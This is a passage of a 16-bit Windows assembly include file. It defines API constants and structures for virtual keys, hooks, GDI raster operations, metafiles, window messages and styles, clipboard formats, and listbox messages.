0dH+VK_SHIFT = 10H+VK_CONTROL = 11H+VK_MENU = 12H+VK_PAUSE = 13H+VK_CAPITAL = 14H+VK_ESCAPE = 1bH+VK_SPACE = 20H++VK_PRIOR = 21H+VK_NEXT = 22H+VK_END = 23H+VK_HOME = 24H+VK_LEFT = 25H+VK_UP = 26H+VK_RIGHT = 27H+VK_DOWN = 28H++; VK_A thru VK_Z are the same as their ASCII equivalents: 'A' thru 'Z'+; VK_0 thru VK_9 are the same as their ASCII equivalents: '0' thru '0'++VK_PRINT = 2aH+VK_EXECUTE = 2bH+VK_SNAPSHOT = 2ch ; Printscreen key..+VK_INSERT = 2dH+VK_DELETE = 2eH+VK_HELP = 2fH++VK_NUMPAD0 = 60H+VK_NUMPAD1 = 61H+VK_NUMPAD2 = 62H+VK_NUMPAD3 = 63H+VK_NUMPAD4 = 64H+VK_NUMPAD5 = 65H+VK_NUMPAD6 = 66H+VK_NUMPAD7 = 67H+VK_NUMPAD8 = 68H+VK_NUMPAD9 = 69H+VK_MULTIPLY = 6AH+VK_ADD = 6BH+VK_SEPARATER = 6CH+VK_SUBTRACT = 6DH+VK_DECIMAL = 6EH+VK_DIVIDE = 6FH++VK_F1 = 70H+VK_F2 = 71H+VK_F3 = 72H+VK_F4 = 73H+VK_F5 = 74H+VK_F6 = 75H+VK_F7 = 76H+VK_F8 = 77H+VK_F9 = 78H+VK_F10 = 79H+VK_F11 = 7aH+VK_F12 = 7bH+VK_F13 = 7cH+VK_F14 = 7dH+VK_F15 = 7eH+VK_F16 = 7fH+VK_F17 = 80H+VK_F18 = 81H+VK_F19 = 82H+VK_F20 = 83H+VK_F21 = 84H+VK_F22 = 85H+VK_F23 = 86H+VK_F24 = 87H++VK_NUMLOCK = 90H+VK_SCROLL = 91H+ENDIF++IFNDEF NOWH++; SetWindowsHook() codes+WH_MSGFILTER = (-1)+WH_JOURNALRECORD = 0+WH_JOURNALPLAYBACK = 1+WH_KEYBOARD = 2+WH_GETMESSAGE = 3+WH_CALLWNDPROC = 4+IFNDEF NOWIN31+WH_CBT = 5+WH_SYSMSGFILTER = 6+WH_MOUSE = 7+WH_HARDWARE = 8+WH_DEBUG = 9+ENDIF+;+; Hook Codes+HC_GETLPLPFN = (-3)+HC_LPLPFNNEXT = (-2)+HC_LPFNNEXT = (-1)+HC_ACTION = 0+HC_GETNEXT = 1+HC_SKIP = 2+HC_NOREM = 3+HC_NOREMOVE = 3+HC_SYSMODALON = 4+HC_SYSMODALOFF = 5+;+; CBT Hook Codes+HCBT_MOVESIZE = 0+HCBT_MINMAX = 1+HCBT_QS = 2+HCBT_CREATEWND = 3+HCBT_DESTROYWND = 4+HCBT_ACTIVATE = 5+HCBT_CLICKSKIPPED = 6+HCBT_KEYSKIPPED = 7+HCBT_SYSCOMMAND = 8+HCBT_SETFOCUS = 9++;+; WH_MSGFILTER Filter Proc Codes+MSGF_DIALOGBOX = 0+MSGF_MENU = 2+MSGF_MOVE = 3+MSGF_SIZE = 4+MSGF_SCROLLBAR = 5+MSGF_NEXTWINDOW = 6+;+; Window Manager Hook Codes+WC_INIT = 1+WC_SWP = 2+WC_DEFWINDOWPROC = 3+WC_MINMAX = 4+WC_MOVE = 5+WC_SIZE = 6+WC_DRAWCAPTION = 7+;++; Message Structure used in Journaling+EVENTMSG struc+ message dw ?+ paramL dw ?+ paramH dw ?+ time dd ?+EVENTMSG ends++ENDIF ;NOWH++; Window field offsets for GetWindowLong() and GetWindowWord()+GWL_WNDPROC = (-4)+GWW_HINSTANCE = (-6)+GWW_HWNDPARENT = (-8)+GWW_ID = (-12)+GWL_STYLE = (-16)+GWL_EXSTYLE = (-20)++; GetWindow() Constants+GW_HWNDFIRST = 0+GW_HWNDLAST = 1+GW_HWNDNEXT = 2+GW_HWNDPREV = 3+GW_OWNER = 4+GW_CHILD = 5++; Class field offsets for GetClassLong() and GetClassWord()+GCL_MENUNAME = (-8)+GCW_HBRBACKGROUND = (-10)+GCW_HCURSOR = (-12)+GCW_HICON = (-14)+GCW_HMODULE = (-16)+GCW_CBWNDEXTRA = (-18)+GCW_CBCLSEXTRA = (-20)+GCL_WNDPROC = (-24)+GCW_STYLE = (-26)++; WinWhere() Area Codes+HTERROR = (-2)+HTTRANSPARENT = (-1)+HTNOWHERE = 0+HTCLIENT = 1+HTCAPTION = 2+HTSYSMENU = 3+HTGROWBOX = 4+HTSIZE = HTGROWBOX+HTMENU = 5+HTHSCROLL = 6+HTVSCROLL = 7+HTREDUCE = 8+HTZOOM = 9+HTLEFT = 10+HTRIGHT = 11+HTTOP = 12+HTTOPLEFT = 13+HTTOPRIGHT = 14+HTBOTTOM = 15+HTBOTTOMLEFT = 16+HTBOTTOMRIGHT = 17+HTSIZEFIRST = HTLEFT+HTSIZELAST = HTBOTTOMRIGHT++++;*************************************************************************+;+; Misc structures & constants+;+;*************************************************************************++IFNDEF NOMST+POINT struc+ ptX dw ?+ ptY dw ?+POINT ends++LOGPEN struc+ lopnStyle dw ?+ lopnWidth db (SIZE POINT) DUP(?)+ lopnColor dd ?+LOGPEN ends+++BITMAP STRUC+ bmType DW ?+ bmWidth DW ?+ bmHeight DW ?+ bmWidthBytes DW ?+ bmPlanes DB ?+ bmBitsPixel DB ?+ bmBits DD ?+BITMAP ENDS++RGBTRIPLE struc+ rgbBlue db ?+ rgbGreen db ?+ rgbRed db ?+RGBTRIPLE ends++RGBQUAD struc+ rgbqBlue db ?+ rgbqGreen db ?+ rgbqRed db ?+ rgbqReserved db ?+RGBQUAD ends++; structures for defining DIBs+BITMAPCOREHEADER struc+ bcSize dd ?+ bcWidth dw ?+ bcHeight dw ?+ bcPlanes dw ?+ bcBitCount dw ?+BITMAPCOREHEADER ends++BITMAPINFOHEADER struc+ biSize dd ?+ biWidth dd ?+ biHeight dd ?+ biPlanes dw ?+ biBitCount dw ?++ biCompression dd ?+ biSizeImage dd ?+ biXPelsPerMeter dd ?+ biYPelsPerMeter dd ?+ biClrUsed dd ?+ biClrImportant dd ?+BITMAPINFOHEADER ends++BITMAPINFO struc+ bmiHeader db (SIZE BITMAPINFOHEADER) DUP (?)+ bmiColors db ? ; array of RGBQUADs+BITMAPINFO ends++BITMAPCOREINFO struc+ bmciHeader db (SIZE BITMAPCOREHEADER) DUP (?)+ bmciColors db ? ; array of RGBTRIPLEs+BITMAPCOREINFO ends++BITMAPFILEHEADER struc+ bfType dw ?+ bfSize dd ?+ bfReserved1 dw ?+ bfReserved2 dw ?+ bfOffBits dd ?+BITMAPFILEHEADER ends+++WNDSTRUC struc+ WSwndStyle dd ?+ WSwndID dw ?+ WSwndText dw ?+ WSwndParent dw ?+ WSwndInstance dw ?+ WSwndClassProc dd ?+WNDSTRUC ends+;+; Message structure+;+MSGSTRUCT struc+msHWND dw ?+msMESSAGE dw ?+msWPARAM dw ?+msLPARAM dd ?+msTIME dd ?+msPT dd ?+MSGSTRUCT ends++NEWPARMS struc+ nprmHwnd dw ?+ nprmCmd db ?+NEWPARMS ends+ENDIF++PAINTSTRUCT STRUC+ PShdc DW ?+ PSfErase DW ?+ PSrcPaint DB size RECT dup(?)+ PSfRestore DW ?+ PSfIncUpdate DW ?+ PSrgbReserved DB 16 dup(?)+PAINTSTRUCT ENDS+++CREATESTRUCT struc+ cs_lpCreateParams dd ?+ cs_hInstance dw ?+ cs_hMenu dw ?+ cs_hwndParent dw ?+ cs_cy dw ?+ cs_cx dw ?+ cs_y dw ?+ cs_x dw ?+ cs_style dd ?+ cs_lpszName dd ?+ cs_lpszClass dd ?+ cs_dwExStyle dd ?+CREATESTRUCT ends+;+; PostError constants+;+WARNING = 0 ; command codes+MINOR_ERROR = 1+FATAL_ERROR = 2++IGNORE = 0 ; response codes+RETRY = 1+ABORT = 2+;+; GDI-related constants & commands+;+ERRORREGION = 0+NULLREGION = 1+SIMPLEREGION = 2+COMPLEXREGION = 3++IFNDEF NORASTOPS+;+; Binary raster ops+;+R2_BLACK = 1+R2_NOTMERGEPEN = 2+R2_MASKNOTPEN = 3+R2_NOTCOPYPEN = 4+R2_MASKPENNOT = 5+R2_NOT = 6+R2_XORPEN = 7+R2_NOTMASKPEN = 8+R2_MASKPEN = 9+R2_NOTXORPEN = 10+R2_NOP = 11+R2_MERGENOTPEN = 12+R2_COPYPEN = 13+R2_MERGEPENNOT = 14+R2_MERGEPEN = 15+R2_WHITE = 16+;+; Ternary raster ops+;+SRCCOPY_L = 0020h ;dest=source+SRCCOPY_H = 00CCh+SRCPAINT_L = 0086h ;dest=source OR dest+SRCPAINT_H = 00EEh+SRCAND_L = 00C6h ;dest=source AND dest+SRCAND_H = 0088h+SRCINVERT_L = 0046h ;dest= source XOR dest+SRCINVERT_H = 0066h+SRCERASE_L = 0328h ;dest= source AND (not dest )+SRCERASE_H = 0044h+NOTSRCCOPY_L = 0008h ;dest= (not source)+NOTSRCCOPY_H = 0033h+NOTSRCERASE_L = 00A6h ;dest= (not source) AND (not dest)+NOTSRCERASE_H = 0011h+MERGECOPY_L = 00CAh ;dest= (source AND pattern)+MERGECOPY_H = 00C0h+MERGEPAINT_L = 0226h ;dest= (source AND pattern) OR dest+MERGEPAINT_H = 00BBh+PATCOPY_L = 0021h ;dest= pattern+PATCOPY_H = 00F0h+PATPAINT_L = 0A09h ;DPSnoo+PATPAINT_H = 00FBh+PATINVERT_L = 0049h ;dest= pattern XOR dest+PATINVERT_H = 005Ah+DSTINVERT_L = 0009h ;dest= (not dest)+DSTINVERT_H = 0055h+BLACKNESS_L = 0042h ;dest= BLACK+BLACKNESS_H = 0000h+WHITENESS_L = 0062h ;dest= WHITE+WHITENESS_H = 00FFh+;+; StretchBlt modes+;+BLACKONWHITE = 1+WHITEONBLACK = 2+COLORONCOLOR = 3+;+; New StretchBlt modes+;+STRETCH_ANDSCANS = 1+STRETCH_ORSCANS = 2+STRETCH_DELETESCANS = 3+;+; PolyFill modes+;+ALTERNATE = 1+WINDING = 2+ENDIF+;+; Text Alignment Options+;+TA_NOUPDATECP = 0+TA_UPDATECP = 1++TA_LEFT = 0+TA_RIGHT = 2+TA_CENTER = 6++TA_TOP = 0+TA_BOTTOM = 8+TA_BASELINE = 24++ETO_GRAYED = 1+ETO_OPAQUE = 2+ETO_CLIPPED = 4++ASPECT_FILTERING = 1++ifndef NOMETAFILE++; Metafile Functions */+META_SETBKCOLOR = 0201h+META_SETBKMODE = 0102h+META_SETMAPMODE = 0103h+META_SETROP2 = 0104h+META_SETRELABS = 0105h+META_SETPOLYFILLMODE = 0106h+META_SETSTRETCHBLTMODE = 0107h+META_SETTEXTCHAREXTRA = 0108h+META_SETTEXTCOLOR = 0209h+META_SETTEXTJUSTIFICATION = 020Ah+META_SETWINDOWORG = 020Bh+META_SETWINDOWEXT = 020Ch+META_SETVIEWPORTORG = 020Dh+META_SETVIEWPORTEXT = 020Eh+META_OFFSETWINDOWORG = 020Fh+META_SCALEWINDOWEXT = 0400h+META_OFFSETVIEWPORTORG = 0211h+META_SCALEVIEWPORTEXT = 0412h+META_LINETO = 0213h+META_MOVETO = 0214h+META_EXCLUDECLIPRECT = 0415h+META_INTERSECTCLIPRECT = 0416h+META_ARC = 0817h+META_ELLIPSE = 0418h+META_FLOODFILL = 0419h+META_PIE = 081Ah+META_RECTANGLE = 041Bh+META_ROUNDRECT = 061Ch+META_PATBLT = 061Dh+META_SAVEDC = 001Eh+META_SETPIXEL = 041Fh+META_OFFSETCLIPRGN = 0220h+META_TEXTOUT = 0521h+META_BITBLT = 0922h+META_STRETCHBLT = 0B23h+META_POLYGON = 0324h+META_POLYLINE = 0325h+META_ESCAPE = 0626h+META_RESTOREDC = 0127h+META_FILLREGION = 0228h+META_FRAMEREGION = 0429h+META_INVERTREGION = 012Ah+META_PAINTREGION = 012Bh+META_SELECTCLIPREGION = 012Ch+META_SELECTOBJECT = 012Dh+META_SETTEXTALIGN = 012Eh+META_DRAWTEXT = 062Fh++META_CHORD = 0830h+META_SETMAPPERFLAGS = 0231h+META_EXTTEXTOUT = 0a32h+META_SETDIBTODEV = 0d33h+META_SELECTPALETTE = 0234h+META_REALIZEPALETTE = 0035h+META_ANIMATEPALETTE = 0436h+META_SETPALENTRIES = 0037h+META_POLYPOLYGON = 0538h+META_RESIZEPALETTE = 0139h++META_DIBBITBLT = 0940h+META_DIBSTRETCHBLT = 0b41h+META_DIBCREATEPATTERNBRUSH = 0142h+META_STRETCHDIB = 0f43h++META_DELETEOBJECT = 01f0h++META_CREATEPALETTE = 00f7h+META_CREATEBRUSH = 00F8h+META_CREATEPATTERNBRUSH = 01F9h+META_CREATEPENINDIRECT = 02FAh+META_CREATEFONTINDIRECT = 02FBh+META_CREATEBRUSHINDIRECT = 02FCh+META_CREATEBITMAPINDIRECT = 02FDh+META_CREATEBITMAP = 06FEh+META_CREATEREGION = 06FFh++; /* Clipboard Metafile Picture Structure */+HANDLETABLE struc+ ht_objectHandle dw ?+HANDLETABLE ends++METARECORD struc+ mr_rdSize dd ?+ mr_rdFunction dw ?+ mr_rdParm dw ?+METARECORD ends++METAFILEPICT struc+ mfp_mm dw ?+ mfp_xExt dw ?+ mfp_yExt dw ?+ mfp_hMF dw ?+METAFILEPICT ends++METAHEADER struc+ mtType dw ?+ mtHeaderSize dw ?+ mtVersion dw ?+ mtSize dd ?+ mtNoObjects dw ?+ mtMaxRecord dd ?+ mtNoParameters dw ?+METAHEADER ends++endif ; NOMETAFILE++; GDI Escapes+NEWFRAME = 1+ABORTDOC = 2+NEXTBAND = 3+SETCOLORTABLE = 4+GETCOLORTABLE = 5+FLUSHOUTPUT = 6+DRAFTMODE = 7+QUERYESCSUPPORT = 8+SETABORTPROC = 9+STARTDOC = 10+;; This value conflicts with a std WIN386 MACRO definition+;;ENDDOC = 11+GETPHYSPAGESIZE = 12+GETPRINTINGOFFSET = 13+GETSCALINGFACTOR = 14+MFCOMMENT = 15+GETPENWIDTH = 16+SETCOPYCOUNT = 17+SELECTPAPERSOURCE = 18+DEVICEDATA = 19+PASSTHROUGH = 19+GETTECHNOLGY = 20+GETTECHNOLOGY = 20+SETENDCAP = 21+SETLINEJOIN = 22+SETMITERLIMIT = 23+BANDINFO = 24+DRAWPATTERNRECT = 25+GETVECTORPENSIZE = 26+GETVECTORBRUSHSIZE = 27+ENABLEDUPLEX = 28+ENABLEMANUALFEED = 29+GETSETPAPERBINS = 29+GETSETPRINTORIENT = 30+ENUMPAPERBINS = 31++GETEXTENDEDTEXTMETRICS = 256+GETEXTENTTABLE = 257+GETPAIRKERNTABLE = 258+GETTRACKKERNTABLE = 259++EXTTEXTOUT = 512++ENABLERELATIVEWIDTHS = 768+ENABLEPAIRKERNING = 769+SETKERNTRACK = 770+SETALLJUSTVALUES = 771+SETCHARSET = 772++GETSETSCREENPARAMS = 3072++STRETCHBLT = 2048+++; Spooler Error Codes+SP_NOTREPORTED = 4000h+SP_ERROR = (-1)+SP_APPABORT = (-2)+SP_USERABORT = (-3)+SP_OUTOFDISK = (-4)+SP_OUTOFMEMORY = (-5)++PR_JOBSTATUS = 0000++; Object Definitions for EnumObjects()+OBJ_PEN = 1+OBJ_BRUSH = 2++;+; Menu flags for Change/Check/Enable MenuItem+;+MF_INSERT = 0000h+MF_CHANGE = 0080h+MF_APPEND = 0100h+MF_DELETE = 0200h+MF_REMOVE = 1000h++MF_BYCOMMAND = 0000h+MF_BYPOSITION = 0400h++MF_SEPARATOR = 0800h++MF_ENABLED = 0000h+MF_GRAYED = 0001h+MF_DISABLED = 0002h++MF_UNCHECKED = 0000h+MF_CHECKED = 0008h+MF_USECHECKBITMAPS= 0200h++MF_STRING = 0000h+MF_BITMAP = 0004h+MF_OWNERDRAW = 0100h++MF_POPUP = 0010h+MF_MENUBARBREAK = 0020h+MF_MENUBREAK = 0040h++MF_UNHILITE = 0000h+MF_HILITE = 0080h++MF_SYSMENU = 2000h+MF_HELP = 4000h+MF_MOUSESELECT = 8000h+++;+; System Menu Command Values+;+SC_SIZE = 0F000h+SC_MOVE = 0F010h+SC_MINIMIZE = 0F020h+SC_MAXIMIZE = 0F030h+SC_NEXTWINDOW = 0F040h+SC_PREVWINDOW = 0F050h+SC_CLOSE = 0F060h+SC_VSCROLL = 0F070h+SC_HSCROLL = 0F080h+SC_MOUSEMENU = 0F090h+SC_KEYMENU = 0F100h+SC_ARRANGE = 0F110h+SC_RESTORE = 0F120h+SC_TASKLIST = 0F130h+SC_SCREENSAVE = 0F140h+SC_HOTKEY = 0F150h++SC_ICON = SC_MINIMIZE+SC_ZOOM = SC_MAXIMIZE++;+; Window State Messages+;+IFNDEF NOWM+WM_STATE = 0000H++WM_NULL = 0000h+WM_CREATE = 0001h+WM_DESTROY = 0002h+WM_MOVE = 0003h+WM_SIZE = 0005h+WM_ACTIVATE = 0006h+WM_SETFOCUS = 0007h+WM_KILLFOCUS = 0008h+WM_ENABLE = 000Ah+WM_SETREDRAW = 000Bh+WM_SETTEXT = 000Ch+WM_GETTEXT = 000Dh+WM_GETTEXTLENGTH = 000Eh+WM_PAINT = 000Fh+WM_CLOSE = 0010h+WM_QUERYENDSESSION = 0011h+WM_QUIT = 0012h+WM_QUERYOPEN = 0013h+WM_ERASEBKGND = 0014h+WM_SYSCOLORCHANGE = 0015h+WM_ENDSESSION = 0016h+WM_SYSTEMERROR = 0017h+WM_SHOWWINDOW = 0018h+WM_CTLCOLOR = 0019h+WM_WININICHANGE = 001Ah+WM_DEVMODECHANGE = 001Bh+WM_ACTIVATEAPP = 001Ch+WM_FONTCHANGE = 001Dh+WM_TIMECHANGE = 001Eh+WM_CANCELMODE = 001Fh+WM_SETCURSOR = 0020h+WM_MOUSEACTIVATE = 0021h+WM_CHILDACTIVATE = 0022h+WM_QUEUESYNC = 0023h+WM_GETMINMAXINFO = 0024h+WM_PAINTICON = 0026h+WM_ICONERASEBKGND = 0027h+WM_NEXTDLGCTL = 0028h+WM_SPOOLERSTATUS = 002Ah+WM_DRAWITEM = 002Bh+WM_MEASUREITEM = 002Ch+WM_DELETEITEM = 002Dh+WM_VKEYTOITEM = 002Eh+WM_CHARTOITEM = 002Fh+WM_SETFONT = 0030h+WM_GETFONT = 0031h+WM_QUERYDRAGICON = 0037h+WM_COMPAREITEM = 0039h+WM_COMPACTING = 0041h+IFNDEF NOWIN31+WM_COMMNOTIFY = 0044h+WM_WINDOWPOSCHANGING= 0046h+WM_WINDOWPOSCHANGED = 0047h+WM_POWER = 0048h+ENDIF+++WM_NCCREATE = 0081h+WM_NCDESTROY = 0082h+WM_NCCALCSIZE = 0083h+WM_NCHITTEST = 0084h+WM_NCPAINT = 0085h+WM_NCACTIVATE = 0086h+WM_GETDLGCODE = 0087h+WM_NCMOUSEMOVE = 00A0h+WM_NCLBUTTONDOWN = 00A1h+WM_NCLBUTTONUP = 00A2h+WM_NCLBUTTONDBLCLK = 00A3h+WM_NCRBUTTONDOWN = 00A4h+WM_NCRBUTTONUP = 00A5h+WM_NCRBUTTONDBLCLK = 00A6h+WM_NCMBUTTONDOWN = 00A7h+WM_NCMBUTTONUP = 00A8h+WM_NCMBUTTONDBLCLK = 00A9h++WM_KEYFIRST = 0100h+WM_KEYDOWN = 0100h+WM_KEYUP = 0101h+WM_CHAR = 0102h+WM_DEADCHAR = 0103h+WM_SYSKEYDOWN = 0104h+WM_SYSKEYUP = 0105h+WM_SYSCHAR = 0106h+WM_SYSDEADCHAR = 0107h+WM_KEYLAST = 0108h++WM_INITDIALOG = 0110h+WM_COMMAND = 0111h+WM_SYSCOMMAND = 0112h+WM_TIMER = 0113h+WM_HSCROLL = 0114h+WM_VSCROLL = 0115h+WM_INITMENU = 0116h+WM_INITMENUPOPUP = 0117h+WM_MENUSELECT = 011Fh+WM_MENUCHAR = 0120h+WM_ENTERIDLE = 0121h+++WM_MOUSEFIRST = 0200h+WM_MOUSEMOVE = 0200h+WM_LBUTTONDOWN = 0201h+WM_LBUTTONUP = 0202h+WM_LBUTTONDBLCLK = 0203h+WM_RBUTTONDOWN = 0204h+WM_RBUTTONUP = 0205h+WM_RBUTTONDBLCLK = 0206h+WM_MBUTTONDOWN = 0207h+WM_MBUTTONUP = 0208h+WM_MBUTTONDBLCLK = 0209h+WM_MOUSELAST = 0209h++WM_PARENTNOTIFY = 0210h+WM_MDICREATE = 0220h+WM_MDIDESTROY = 0221h+WM_MDIACTIVATE = 0222h+WM_MDIRESTORE = 0223h+WM_MDINEXT = 0224h+WM_MDIMAXIMIZE = 0225h+WM_MDITILE = 0226h+WM_MDICASCADE = 0227h+WM_MDIICONARRANGE = 0228h+WM_MDIGETACTIVE = 0229h+WM_MDISETMENU = 0230h+WM_DROPFILES = 0233h+++WM_CUT = 0300h+WM_COPY = 0301h+WM_PASTE = 0302h+WM_CLEAR = 0303h+WM_UNDO = 0304h+WM_RENDERFORMAT = 0305h+WM_RENDERALLFORMATS = 0306h+WM_DESTROYCLIPBOARD = 0307h+WM_DRAWCLIPBOARD = 0308h+WM_PAINTCLIPBOARD = 0309h+WM_VSCROLLCLIPBOARD = 030Ah+WM_SIZECLIPBOARD = 030Bh+WM_ASKCBFORMATNAME = 030Ch+WM_CHANGECBCHAIN = 030Dh+WM_HSCROLLCLIPBOARD = 030Eh+WM_QUERYNEWPALETTE = 030Fh+WM_PALETTEISCHANGING = 0310h+WM_PALETTECHANGED = 0311h++IFNDEF NOWIN31+WM_PENWINFIRST equ 0380h+WM_PENWINLAST equ 038Fh+++WM_COALESCE_FIRST equ 0390h+WM_COALESCE_LAST equ 039Fh+++++ENDIF++++; private window messages start here+WM_USER = 0400H+ENDIF ; NOWM++; WM_MOUSEACTIVATE Return Codes+MA_ACTIVATE = 1+MA_ACTIVATEANDEAT = 2+MA_NOACTIVATE = 3++; Size message commands+SIZENORMAL = 0+SIZEICONIC = 1+SIZEFULLSCREEN = 2+SIZEZOOMSHOW = 3+SIZEZOOMHIDE = 4++; ShowWindow() Commands+SW_HIDE = 0+SW_SHOWNORMAL = 1+SW_NORMAL = 1+SW_SHOWMINIMIZED = 2+SW_SHOWMAXIMIZED = 3+SW_MAXIMIZE = 3+SW_SHOWNOACTIVATE = 4+SW_SHOW = 5+SW_MINIMIZE = 6+SW_SHOWMINNOACTIVE = 7+SW_SHOWNA = 8+SW_RESTORE = 9++; Old ShowWindow() Commands+HIDE_WINDOW = 0+SHOW_OPENWINDOW = 1+SHOW_ICONWINDOW = 2+SHOW_FULLSCREEN = 3+SHOW_OPENNOACTIVATE= 4++; identifiers for the WM_SHOWWINDOW message+SW_PARENTCLOSING = 1+SW_OTHERZOOM = 2+SW_PARENTOPENING = 3+SW_OTHERUNZOOM = 4+;+; Key state masks for mouse messages+;+MK_LBUTTON = 0001h+MK_RBUTTON = 0002h+MK_SHIFT = 0004h+MK_CONTROL = 0008h+MK_MBUTTON = 0010h+;+; Class styles+;+CS_VREDRAW = 0001h+CS_HREDRAW = 0002h+CS_KEYCVTWINDOW = 0004H+CS_DBLCLKS = 0008h+; 0010h reserved+CS_OWNDC = 0020h+CS_CLASSDC = 0040h+CS_PARENTDC = 0080h+CS_NOKEYCVT = 0100h+CS_SAVEBITS = 0800h+CS_NOCLOSE = 0200h+CS_BYTEALIGNCLIENT = 1000h+CS_BYTEALIGNWINDOW = 2000h+CS_GLOBALCLASS = 4000h ; Global window class++;+; Special CreateWindow position value+;+CW_USEDEFAULT EQU 8000h++;+; Windows styles (the high words)+;+WS_OVERLAPPED = 00000h+WS_ICONICPOPUP = 0C000h+WS_POPUP = 08000h+WS_CHILD = 04000h+WS_MINIMIZE = 02000h+WS_VISIBLE = 01000h+WS_DISABLED = 00800h+WS_CLIPSIBLINGS = 00400h+WS_CLIPCHILDREN = 00200h+WS_MAXIMIZE = 00100h+WS_CAPTION = 000C0h ; WS_BORDER | WS_DLGFRAME+WS_BORDER = 00080h+WS_DLGFRAME = 00040h+WS_VSCROLL = 00020h+WS_HSCROLL = 00010h+WS_SYSMENU = 00008h+WS_THICKFRAME = 00004h+WS_HREDRAW = 00002h+WS_VREDRAW = 00001h+WS_GROUP = 00002h+WS_TABSTOP = 00001h+WS_MINIMIZEBOX = 00002h+WS_MAXIMIZEBOX = 00001h++; Common Window Styles++WS_OVERLAPPEDWINDOW = WS_OVERLAPPED + WS_CAPTION + WS_SYSMENU + WS_THICKFRAME + WS_MINIMIZEBOX + WS_MAXIMIZEBOX+WS_POPUPWINDOW = WS_POPUP + WS_BORDER + WS_SYSMENU+WS_CHILDWINDOW = WS_CHILD+WS_TILEDWINDOW = WS_OVERLAPPEDWINDOW++WS_TILED = WS_OVERLAPPED+WS_ICONIC = WS_MINIMIZE+WS_SIZEBOX = WS_THICKFRAME++; Extended Window Styles (low words)+WS_EX_DLGMODALFRAME = 0001+WS_EX_DRAGOBJECT = 0002+WS_EX_NOPARENTNOTIFY = 0004+WS_EX_TOPMOST = 0008++;+; predefined clipboard formats+;+CF_TEXT = 1+CF_BITMAP = 2+CF_METAFILEPICT = 3+CF_SYLK = 4+CF_DIF = 5+CF_TIFF = 6+CF_OEMTEXT = 7+CF_DIB = 8+CF_PALETTE = 9+CF_PENDATA = 10+CF_RIFF = 11+CF_WAVE = 12++CF_OWNERDISPLAY = 80h ; owner display+CF_DSPTEXT = 81h ; display text+CF_DSPBITMAP = 82h ; display bitmap+CF_DSPMETAFILEPICT = 83h ; display metafile+;+; Private clipboard format range+;+CF_PRIVATEFIRST = 200h ; Anything in this range doesn't+CF_PRIVATELAST = 2ffh ; get GlobalFree'd+CF_GDIOBJFIRST = 300h ; Anything in this range gets+CF_GDIOBJLAST = 3ffh ; DeleteObject'ed+++MAKEINTRESOURCE MACRO a+ mov ax,a+ xor dx,dx+ ENDM+;+; Predefined resource types+;+RT_CURSOR = 1 ; must be passed through MAKEINTRESOURCE+RT_BITMAP = 2+RT_ICON = 3+RT_MENU = 4+RT_DIALOG = 5+RT_STRING = 6+RT_FONTDIR = 7+RT_FONT = 8+RT_ACCELERATOR = 9+RT_RCDATA = 10++;** NOTE: if any new resource types are introduced above this point, then the+;** value of DIFFERENCE must be changed.+;** (RT_GROUP_CURSOR - RT_CURSOR) must always be equal to DIFFERENCE+;** (RT_GROUP_ICON - RT_ICON) must always be equal to DIFFERENCE++DIFFERENCE = 11++RT_GROUP_CURSOR = RT_CURSOR + DIFFERENCE+RT_GROUP_ICON = RT_ICON + DIFFERENCE++++IFNDEF NOMDI+MDICREATESTRUCT struc+ szClass dd ?+ szTitle dd ?+ hOwner dw ?+ x dw ?+ y dw ?+ cxc dw ?+ cyc dw ?+ style dd ?+MDICREATESTRUCT ends++CLIENTCREATESTRUCT struc+ hWindowMenu dw ?+ idFirstChild dw ?+CLIENTCREATESTRUCT ends+ENDIF++; NOMDI+++PALETTEENTRY struc+ peRed db ?+ peGreen db ?+ peBlue db ?+ peFlags db ?+PALETTEENTRY ends++; Logical Palette+LOGPALETTE struc+ palVersion dw ?+ palNumEntries dw ?+ palPalEntry db ? ; array of PALETTEENTRY+LOGPALETTE ends++; DRAWITEMSTRUCT for ownerdraw+DRAWITEMSTRUCT struc+ drCtlType dw ?+ drCtlID dw ?+ dritemID dw ?+ dritemAction dw ?+ dritemState dw ?+ drhwndItem dw ?+ drhDC dw ?+ drrcItem DB size RECT dup(?)+ dritemData dd ?+DRAWITEMSTRUCT ends++; DELETEITEMSTRUCT for ownerdraw+DELETEITEMSTRUCT struc+ deCtlType dw ?+ deCtlID dw ?+ deitemID dw ?+ dehwndItem dw ?+ deitemData dd ?+DELETEITEMSTRUCT ends++; MEASUREITEMSTRUCT for ownerdraw+MEASUREITEMSTRUCT struc+ meCtlType dw ?+ meCtlID dw ?+ meitemID dw ?+ meitemWidth dw ?+ meitemHeight dw ?+ meitemData dd ?+MEASUREITEMSTRUCT ends++; COMPAREITEMSTUCT for ownerdraw sorting+COMPAREITEMSTRUCT struc+ coCtlType dw ?+ coCtlID dw ?+ cohwndItem dw ?+ coitemID1 dw ?+ coitemData1 dd ?+ coitemID2 dw ?+ coitemData2 dd ?+COMPAREITEMSTRUCT ends++; Owner draw control types+ODT_MENU = 1+ODT_LISTBOX = 2+ODT_COMBOBOX = 3+ODT_BUTTON = 4++; Owner draw actions+ODA_DRAWENTIRE = 1+ODA_SELECT = 2+ODA_FOCUS = 4++; Owner draw state+ODS_SELECTED = 0001h+ODS_GRAYED = 0002h+ODS_DISABLED = 0004h+ODS_CHECKED = 0008h+ODS_FOCUS = 0010h++; PeekMessage() Options+PM_NOREMOVE = 0000h+PM_REMOVE = 0001h+PM_NOYIELD = 0002h++; SetWindowPos Flags+SWP_NOSIZE = 0001h+SWP_NOMOVE = 0002h+SWP_NOZORDER = 0004h+SWP_NOREDRAW = 0008h+SWP_NOACTIVATE = 0010h+SWP_DRAWFRAME = 0020h+SWP_SHOWWINDOW = 0040h+SWP_HIDEWINDOW = 0080h+SWP_NOCOPYBITS = 0100h+SWP_NOREPOSITION = 0200h+++IFNDEF NOWINMESSAGES++; Listbox messages+LB_ADDSTRING = (WM_USER+1)+LB_INSERTSTRING = (WM_USER+2)+LB_DELETESTRING = (WM_USER+3)+LB_RESETCONTENT = (WM_USER+5)+LB_SETSEL = (WM_USER+6)+LB_SETCURSEL = (WM_USER+7)+LB_GETSEL = (WM_USER+8)+LB_GETCURSEL = (WM_USER+9)+LB_GETTEXT = (WM_USER+10)+LB_GETTEXTLEN = (WM_USER+11)+LB_GETCOUNT = (WM_USER+12)+LB_SELECTSTRING = (WM_USER+13)+LB_DIR = (WM_USER+14)+LB_GETTOPINDEX = (WM_USER+15)+LB_FINDSTRING = (WM_USER+16)+LB_GETSELCOUNT = (WM_USER+17)+LB_GETSELITEMS = (WM_USER+18)+LB_SETTABSTOPS = (WM_USER+19)+LB_GETHORIZONTALEXTENT = 